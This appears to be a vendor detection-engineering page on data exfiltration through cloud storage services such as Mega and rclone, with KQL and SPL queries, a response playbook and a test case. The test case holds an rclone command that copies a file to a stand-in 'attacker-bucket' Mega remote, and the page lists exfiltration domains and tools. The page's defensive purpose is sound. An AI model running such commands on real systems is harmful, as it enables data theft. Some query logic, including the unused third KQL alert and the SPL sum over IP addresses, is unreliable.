THREAT-CloudStorage-DataExfil

Data Exfiltration via Cloud Storage Services

Exfiltration Last updated:

Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).

What is THREAT-CloudStorage-DataExfil Data Exfiltration via Cloud Storage Services?

Data Exfiltration via Cloud Storage Services (THREAT-CloudStorage-DataExfil) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Data Exfiltration via Cloud Storage Services, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents), Sysmon Event ID 1, 3, Proxy/web gateway logs, Network flow data (NetFlow/IPFIX). The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Microsoft Sentinel / Defender
kusto
// THREAT: Data Exfiltration via Cloud Storage
// Detects use of rclone, AzCopy, and cloud storage APIs for data exfiltration

// Alert 1: rclone execution (major exfiltration tool for ransomware groups)
let RcloneIndicators = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "rclone.exe"
    or ProcessCommandLine has_any ("rclone", "rclone.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, FolderPath
| extend ThreatType = "Exfil_Rclone"
| extend RiskScore = 85;
// Alert 2: AzCopy with external Azure storage accounts
let AzCopyExternal = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "azcopy.exe" or FileName =~ "azcopy"
| where ProcessCommandLine has_any (
    "blob.core.windows.net", "file.core.windows.net",
    "queue.core.windows.net"
  )
// Exclude known corporate storage accounts
| where ProcessCommandLine !has "<YOUR_CORPORATE_STORAGE_ACCOUNT>"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| extend ThreatType = "Exfil_AzCopy_External"
| extend RiskScore = 80;
// Alert 3: Large data upload to cloud storage (network telemetry)
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType =~ "ConnectionSuccess"
| where RemoteUrl has_any (
    "mega.nz", "mega.io",
    "dropbox.com", "dropboxapi.com",
    "box.com", "box.net",
    "onedrive.live.com", "1drv.ms",
    "sharefile.com", "drive.google.com",
    "sendspace.com", "filebin.net",
    "transfer.sh", "gofile.io", "anonfiles.com"
  ) or RemoteUrl matches regex @"[a-z0-9]{5,}\.blob\.core\.windows\.net"
| summarize
    Connections=count(),
    BytesSent=sum(SentBytes),
    Domains=make_set(RemoteUrl)
  by DeviceName, AccountName, InitiatingProcessFileName, bin(Timestamp, 1h)
| where BytesSent > 100000000  // 100MB threshold
| extend ThreatType = "Exfil_LargeCloudUpload"
| extend RiskScore = 70;
union RcloneIndicators, AzCopyExternal
| sort by RiskScore desc, Timestamp desc

Three-vector cloud exfiltration detection: (1) rclone.exe execution — the primary exfiltration tool documented in Akira, Black Basta, and Scattered Spider campaigns; (2) AzCopy with external Azure storage account URLs — attackers stage data in attacker-controlled Azure Blob storage; (3) large data uploads (>100MB/hour) to known file hosting and consumer cloud storage services. All three are SMB-relevant double-extortion indicators.

critical severity high confidence

Data Sources

Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents) Sysmon Event ID 1, 3 Proxy/web gateway logs Network flow data (NetFlow/IPFIX)

Required Tables

DeviceProcessEvents DeviceNetworkEvents

False Positives

  • Legitimate rclone use by system administrators for cloud backup operations (should be documented and excluded by account name)
  • Corporate AzCopy scripts synchronising data with legitimate company Azure storage accounts
  • Users with business accounts for Dropbox or Box uploading work files (OneDrive and Box are commonly used for business)
  • Large legitimate data transfers to authorised cloud archival storage

Sigma rule & cross-platform mapping

The detection logic for Data Exfiltration via Cloud Storage Services (THREAT-CloudStorage-DataExfil) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Cloud Exfiltration via rclone to Mega

    Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.


Response Playbook

Triage

  1. If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
  2. Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
  3. For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
  4. Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
  5. Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.

Containment

  1. Isolate the affected host via EDR immediately if active exfiltration is detected.
  2. Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
  3. Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
  4. Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
  5. Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.

Evidence Collection

  1. rclone.exe command line: target directories, remote configuration, transfer parameters
  2. Network flow logs: bytes transferred, destination IP, duration
  3. rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
  4. Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
  5. File access logs: which files were accessed/read before the exfiltration

Escalation Criteria

  • ! Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
  • ! Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
  • ! GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
  • ! Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts

Investigation Guide

Forensic Artifacts

  • > rclone.conf: attacker remote configuration with credentials and target bucket
  • > rclone.exe binary: hash for attribution, metadata for provenance
  • > Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps
  • > rclone log file (if --log-file parameter was used): full transfer log
  • > Network PCAP (if available): actual file data transferred to confirm scope

Tuning Guidance

rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.


Hunting Queries

Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.

Hunting — KQL
kql
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
    Hits=count(),
    TotalBytesSent=sum(SentBytes),
    Processes=make_set(InitiatingProcessFileName),
    Days=dcount(bin(Timestamp, 1d))
  by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
   DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - Conns

Atomic Red Team Tests

Test 1 Simulate Cloud Exfiltration via rclone to Mega
windows

Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.

Command

powershell
echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.conf

Cleanup

powershell
Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Expected Detection

Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.

Related Detections